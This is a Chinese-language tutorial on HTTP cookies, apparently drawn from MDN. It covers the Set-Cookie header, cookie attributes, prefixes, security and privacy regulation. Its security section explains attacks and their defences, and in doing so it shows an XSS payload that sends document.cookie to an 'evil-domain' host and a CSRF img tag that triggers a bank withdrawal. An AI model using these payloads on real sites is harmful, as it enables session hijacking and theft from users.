[toc]
# 簡介
HTTP Cookie(也叫 Web Cookie 或瀏覽器 Cookie)是服務(wù)器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),,它會在瀏覽器下次向同一服務(wù)器再發(fā)起請求時被攜帶并發(fā)送到服務(wù)器上。通常,,它用于告知服務(wù)端兩個請求是否來自同一瀏覽器,,如保持用戶的登錄狀態(tài),。Cookie 使基于無狀態(tài)的HTTP協(xié)議記錄穩(wěn)定的狀態(tài)信息成為了可能。
## Cookie 主要用于以下三個方面:
* 會話狀態(tài)管理(如用戶登錄狀態(tài),、購物車,、游戲分數(shù)或其它需要記錄的信息)
* 個性化設(shè)置(如用戶自定義設(shè)置、主題等)
* 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)
## 擴展知識
Cookie 曾一度用于客戶端數(shù)據(jù)的存儲,,因當時并沒有其它合適的存儲辦法而作為唯一的存儲手段,,但現(xiàn)在隨著現(xiàn)代瀏覽器開始支持各種各樣的存儲方式,Cookie 漸漸被淘汰,。由于服務(wù)器指定 Cookie 后,,瀏覽器的每次請求都會攜帶 Cookie 數(shù)據(jù),會帶來額外的性能開銷(尤其是在移動環(huán)境下),。新的瀏覽器API已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲到本地,,如使用 Web storage API (本地存儲和會話存儲)或 IndexedDB 。
**備注:**
```
要查看Cookie存儲(或網(wǎng)頁上能夠使用其他的存儲方式),,你可以在開發(fā)者工具中啟用存儲查看(Storage Inspector )功能,,并在存儲樹上選中Cookie。
```
# 創(chuàng)建Cookie
當服務(wù)器收到 HTTP 請求時,,服務(wù)器可以在響應(yīng)頭里面添加一個 Set-Cookie 選項,。瀏覽器收到響應(yīng)后通常會保存下 Cookie,之后對該服務(wù)器每一次請求中都通過 Cookie 請求頭部將 Cookie 信息發(fā)送給服務(wù)器,。另外,,Cookie 的過期時間、域,、路徑、有效期,、適用站點都可以根據(jù)需要來指定,。
## Set-Cookie響應(yīng)頭部和Cookie請求頭部
服務(wù)器使用 Set-Cookie 響應(yīng)頭部向用戶代理(一般是瀏覽器)發(fā)送 Cookie信息。一個簡單的 Cookie 可能像這樣:
```
Set-Cookie: <cookie名>=<cookie值>
```
服務(wù)器通過該頭部告知客戶端保存 Cookie 信息,。
```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[頁面內(nèi)容]
```
現(xiàn)在,,對該服務(wù)器發(fā)起的每一次新請求,瀏覽器都會將之前保存的Cookie信息通過 Cookie 請求頭部再發(fā)送給服務(wù)器,。
```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```
## 定義 Cookie 的生命周期
Cookie 的生命周期可以通過兩種方式定義:
* 會話期 Cookie 是最簡單的 Cookie:瀏覽器關(guān)閉之后它會被自動刪除,,也就是說它僅在會話期內(nèi)有效。會話期Cookie不需要指定過期時間(Expires)或者有效期(Max-Age),。需要注意的是,,有些瀏覽器提供了會話恢復功能,這種情況下即使關(guān)閉了瀏覽器,,會話期Cookie 也會被保留下來,,就好像瀏覽器從來沒有關(guān)閉一樣,,這會導致 Cookie 的生命周期無限期延長。
* 持久性 Cookie 的生命周期取決于過期時間(Expires)或有效期(Max-Age)指定的一段時間,。
**例如:**
```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```
如果您的站點對用戶進行身份驗證,,則每當用戶進行身份驗證時,它都應(yīng)重新生成并重新發(fā)送會話 Cookie,,甚至是已經(jīng)存在的會話 Cookie,。此技術(shù)有助于防止會話固定攻擊(session fixation attacks),在該攻擊中第三方可以重用用戶的會話,。
**備注:**
```
當Cookie的過期時間被設(shè)定時,,設(shè)定的日期和時間只與客戶端相關(guān),而不是服務(wù)端,。
```
## 限制訪問 Cookie
有兩種方法可以確保 Cookie 被安全發(fā)送,,并且不會被意外的參與者或腳本訪問:Secure 屬性和HttpOnly 屬性。
* 標記為 Secure 的 Cookie 只應(yīng)通過被 HTTPS 協(xié)議加密過的請求發(fā)送給服務(wù)端,,因此可以預防 man-in-the-middle 攻擊者的攻擊,。但即便設(shè)置了 Secure 標記,敏感信息也不應(yīng)該通過 Cookie 傳輸,,因為 Cookie 有其固有的不安全性,,Secure 標記也無法提供確實的安全保障, 例如,可以訪問客戶端硬盤的人可以讀取它,。
* JavaScript Document.cookie API 無法訪問帶有 HttpOnly 屬性的cookie,;此類 Cookie 僅作用于服務(wù)器。
例如,,持久化服務(wù)器端會話的 Cookie 不需要對 JavaScript 可用,,而應(yīng)具有 HttpOnly 屬性。此預防措施有助于緩解跨站點腳本(XSS)攻擊,。
**示例:**
```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```
**備注:**
```
從 Chrome 52 和 Firefox 52 開始,,不安全的站點(http:)無法使用Cookie的 Secure 標記。
```
## Cookie 的作用域
Domain 和 Path 標識定義了Cookie的作用域:即允許 Cookie 應(yīng)該發(fā)送給哪些URL,。
### Domain 屬性
Domain 指定了哪些主機可以接受 Cookie,。如果不指定,默認為 origin,,不包含子域名,。如果指定了Domain,則一般包含子域名,。因此,,指定 Domain 比省略它的限制要少。但是,,當子域需要共享有關(guān)用戶的信息時,,這可能會有所幫助,。
例如,如果設(shè)置 Domain=mozilla.org,,則 Cookie 也包含在子域名中(如developer.mozilla.org),。
**備注:**
```
當前大多數(shù)瀏覽器遵循 RFC 6265,設(shè)置 Domain 時 不需要加前導點,。瀏覽器不遵循該規(guī)范,,則需要加前導點,例如:Domain=.mozilla.org
```
### Path 屬性
Path 標識指定了主機下的哪些路徑可以接受 Cookie(該 URL 路徑必須存在于請求 URL 中),。以字符 %x2F ("/") 作為路徑分隔符,,子路徑也會被匹配。
例如,,設(shè)置 Path=/docs,,則以下地址都會匹配:
* /docs
* /docs/Web/
* /docs/Web/HTTP
### SameSite attribute
SameSite Cookie 允許服務(wù)器要求某個 cookie 在跨站請求時不會被發(fā)送,(其中 Site 由可注冊域定義),,從而可以阻止跨站請求偽造攻擊(CSRF),。
SameSite cookies 是相對較新的一個字段,所有主流瀏覽器都已經(jīng)得到支持,。
下面是例子:
```
Set-Cookie: key=value; SameSite=Strict
```
**SameSite 可以有下面三種值:**
* None,。瀏覽器會在同站請求、跨站請求下繼續(xù)發(fā)送 cookies,,不區(qū)分大小寫,。
* Strict。瀏覽器將只在訪問相同站點時發(fā)送 cookie,。(在原有 Cookies 的限制條件上的加強,,如上文 “Cookie 的作用域” 所述)
* Lax。與 Strict 類似,,但用戶從外部站點導航至URL時(例如通過鏈接)除外。 在新版本瀏覽器中,,為默認選項,Same-site cookies 將會為一些跨站子請求保留,,如圖片加載或者 frames 的調(diào)用,,但只有當用戶從外部站點導航到URL時才會發(fā)送,如 link 鏈接
**備注:**
```
以前,,如果 SameSite 屬性沒有設(shè)置,,或者沒有得到運行瀏覽器的支持,那么它的行為等同于 None,,Cookies 會被包含在任何請求中——包括跨站請求,。
大多數(shù)主流瀏覽器正在將 SameSite 的默認值遷移至 Lax,。如果想要指定 Cookies 在同站、跨站請求都被發(fā)送,,現(xiàn)在需要明確指定 SameSite 為 None,。
```
### Cookie prefixes
cookie 機制的使得服務(wù)器無法確認 cookie 是在安全來源上設(shè)置的,甚至無法確定 cookie 最初是在哪里設(shè)置的,。
子域上的易受攻擊的應(yīng)用程序可以使用 Domain 屬性設(shè)置 cookie,,從而可以訪問所有其他子域上的該 cookie。會話固定攻擊中可能會濫用此機制,。有關(guān)主要緩解方法,,請參閱會話劫持( session fixation)。
但是,,作為深度防御措施,,可以使用 cookie 前綴來斷言有關(guān) cookie 的特定事實。有兩個前綴可用:
```
__Host-
如果 cookie 名稱具有此前綴,,則僅當它也用 Secure 屬性標記,,是從安全來源發(fā)送的,不包括 Domain 屬性,,并將 Path 屬性設(shè)置為 / 時,,它才在 Set-Cookie 標頭中接受。這樣,,這些 cookie 可以被視為 "domain-locked”,。
__Secure-
如果 cookie 名稱具有此前綴,則僅當它也用 Secure 屬性標記,,是從安全來源發(fā)送的,,它才在 Set-Cookie 標頭中接受。該前綴限制要弱于 __Host- 前綴,。
```
帶有這些前綴點 Cookie,, 如果不符合其限制的會被瀏覽器拒絕。請注意,,這確保了如果子域要創(chuàng)建帶有前綴的 cookie,,那么它將要么局限于該子域,要么被完全忽略,。由于應(yīng)用服務(wù)器僅在確定用戶是否已通過身份驗證或 CSRF 令牌正確時才檢查特定的 cookie 名稱,,因此,這有效地充當了針對會話劫持的防御措施,。
**備注:**
```
在應(yīng)用程序服務(wù)器上,,Web 應(yīng)用程序必須檢查完整的 cookie 名稱,包括前綴 —— 用戶代理程序在從請求的 Cookie 標頭中發(fā)送前綴之前,不會從 cookie 中剝離前綴,。
```
### JavaScript 通過 Document.cookie 訪問 Cookie
通過 Document.cookie 屬性可創(chuàng)建新的 Cookie,,也可通過該屬性訪問非HttpOnly標記的Cookie。
```
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
```
通過 JavaScript 創(chuàng)建的 Cookie 不能包含 HttpOnly 標志,。
# 安全
**備注:**
```
信息被存在 Cookie 中時,,需要明白 cookie 的值時可以被訪問,且可以被終端用戶所修改的,。根據(jù)應(yīng)用程序的不同,,可能需要使用服務(wù)器查找的不透明標識符,或者研究諸如 JSON Web Tokens 之類的替代身份驗證/機密機制,。
當機器處于不安全環(huán)境時,,切記不能通過 HTTP Cookie 存儲、傳輸敏感信息,。
```
**緩解涉及Cookie的攻擊的方法:**
* 使用 HttpOnly 屬性可防止通過 JavaScript 訪問 cookie 值,。
* 用于敏感信息(例如指示身份驗證)的 Cookie 的生存期應(yīng)較短,并且 SameSite 屬性設(shè)置為Strict 或 Lax,。(請參見上方的 SameSite Cookie,。)在支持 SameSite 的瀏覽器中,這樣做的作用是確保不與跨域請求一起發(fā)送身份驗證 cookie,,因此,,這種請求實際上不會向應(yīng)用服務(wù)器進行身份驗證。
## 會話劫持和 XSS
在 Web 應(yīng)用中,,Cookie 常用來標記用戶或授權(quán)會話,。因此,如果 Web 應(yīng)用的 Cookie 被竊取,,可能導致授權(quán)用戶的會話受到攻擊,。常用的竊取 Cookie 的方法有利用社會工程學攻擊和利用應(yīng)用程序漏洞進行 XSS 攻擊。
```
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```
HttpOnly 類型的 Cookie 用于阻止了JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊,。
## 跨站請求偽造(CSRF)
維基百科已經(jīng)給了一個比較好的 CSRF 例子,。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:
```
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
```
當你打開含有了這張圖片的 HTML 頁面時,,如果你之前已經(jīng)登錄了你的銀行帳號并且 Cookie 仍然有效(還沒有其它驗證步驟),,你銀行里的錢很可能會被自動轉(zhuǎn)走。有一些方法可以阻止此類事件的發(fā)生:
* 對用戶輸入進行過濾來阻止 XSS,;
* 任何敏感操作都需要確認,;
* 用于敏感信息的 Cookie 只能擁有較短的生命周期;
* 更多方法可以查看[OWASP CSRF](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
# 跟蹤和隱私
## 第三方 Cookie
Cookie 與域關(guān)聯(lián),。如果此域與您所在頁面的域相同,,則該 cookie 稱為第一方 cookie( first-party cookie)。如果域不同,,則它是第三方 cookie(third-party cookie),。當托管網(wǎng)頁的服務(wù)器設(shè)置第一方 Cookie 時,該頁面可能包含存儲在其他域中的服務(wù)器上的圖像或其他組件(例如,,廣告橫幅),,這些圖像或其他組件可能會設(shè)置第三方 Cookie。這些主要用于在網(wǎng)絡(luò)上進行廣告和跟蹤,。例如,,types of cookies used by Google。第三方服務(wù)器可以基于同一瀏覽器在訪問多個站點時發(fā)送給它的 cookie 來建立用戶瀏覽歷史和習慣的配置文件,。Firefox 默認情況下會阻止已知包含跟蹤器的第三方 cookie,。第三方cookie(或僅跟蹤 cookie)也可能被其他瀏覽器設(shè)置或擴展程序阻止。阻止 Cookie 會導致某些第三方組件(例如社交媒體窗口小部件)無法正常運行,。
如果你沒有公開你網(wǎng)站上第三方 Cookie 的使用情況,,當它們被發(fā)覺時用戶對你的信任程度可能受到影響。一個較清晰的聲明(比如在隱私策略里面提及)能夠減少或消除這些負面影響,。在某些國家已經(jīng)開始對Cookie制訂了相應(yīng)的法規(guī),,可以查看維基百科上例子cookie statement。
## Cookie 相關(guān)規(guī)定
涉及使用 Cookie 的法律或法規(guī)包括:
* 歐盟通用數(shù)據(jù)隱私法規(guī)(GDPR)
* 歐盟的《隱私權(quán)指令》
* 加州消費者隱私法
這些規(guī)定具有全球影響力,,因為它們適用于這些司法管轄區(qū)(歐盟和加利福尼亞)的用戶訪問的萬維網(wǎng)上的任何站點,,但請注意,加利福尼亞州的法律僅適用于總收入超過2500萬美元的實體其他事情,。)
這些法規(guī)包括以下要求:
* 向用戶表明您的站點使用 cookie,。
* 允許用戶選擇不接收某些或所??有 cookie。
* 允許用戶在不接收 Cookie 的情況下使用大部分服務(wù),。
可能還存在其他法規(guī)來管理您當?shù)氐腃ookie,。您有責任了解并遵守這些規(guī)定。有些公司提供 "cookie banner" 代碼,,可幫助您遵守這些法規(guī),。
### 禁止追蹤 Do-Not-Track
雖然并沒有法律或者技術(shù)手段強制要求使用 DNT,但是通過DNT 可以告訴Web程序不要對用戶行為進行追蹤或者跨站追蹤,。查看DNT 以獲取更多信息,。
### 歐盟 Cookie 指令
關(guān)于 Cookie,歐盟已經(jīng)在2009/136/EC指令中提了相關(guān)要求,,該指令已于2011年5月25日生效,。雖然指令并不屬于法律,但它要求歐盟各成員國通過制定相關(guān)的法律來滿足該指令所提的要求,。當然,,各國實際制定法律會有所差別。
該歐盟指令的大意:在征得用戶的同意之前,網(wǎng)站不允許通過計算機,、手機或其他設(shè)備存儲,、檢索任何信息。自從那以后,,很多網(wǎng)站都在網(wǎng)站聲明中添加了相關(guān)說明,,告訴用戶他們的 Cookie 將用于何處。
## 僵尸 Cookie 和刪不掉的 Cookie
Cookie的一個極端使用例子是僵尸Cookie(或稱之為“刪不掉的Cookie”),,這類 Cookie 較難以刪除,,甚至刪除之后會自動重建。這些技術(shù)違反了用戶隱私和用戶控制的原則,,可能違反了數(shù)據(jù)隱私法規(guī),,并可能使使用它們的網(wǎng)站承擔法律責任。它們一般是使用 Web storage API,、Flash本地共享對象或者其他技術(shù)手段來達到的,。
# 在瀏覽器中存儲信息的其他方式
在瀏覽器中存儲數(shù)據(jù)的另一種方法是 Web Storage API。window.sessionStorage 和window.localStorage 屬性與持續(xù)時間中的會話和永久 cookie 相對應(yīng),,但是存儲限制比 cookie大,,并且永遠不會發(fā)送到服務(wù)器。
可以使用 IndexedDB API 或基于它構(gòu)建的庫來存儲更多結(jié)構(gòu)化的數(shù)據(jù),。
# 參考資料
* 《HTTP|MDN》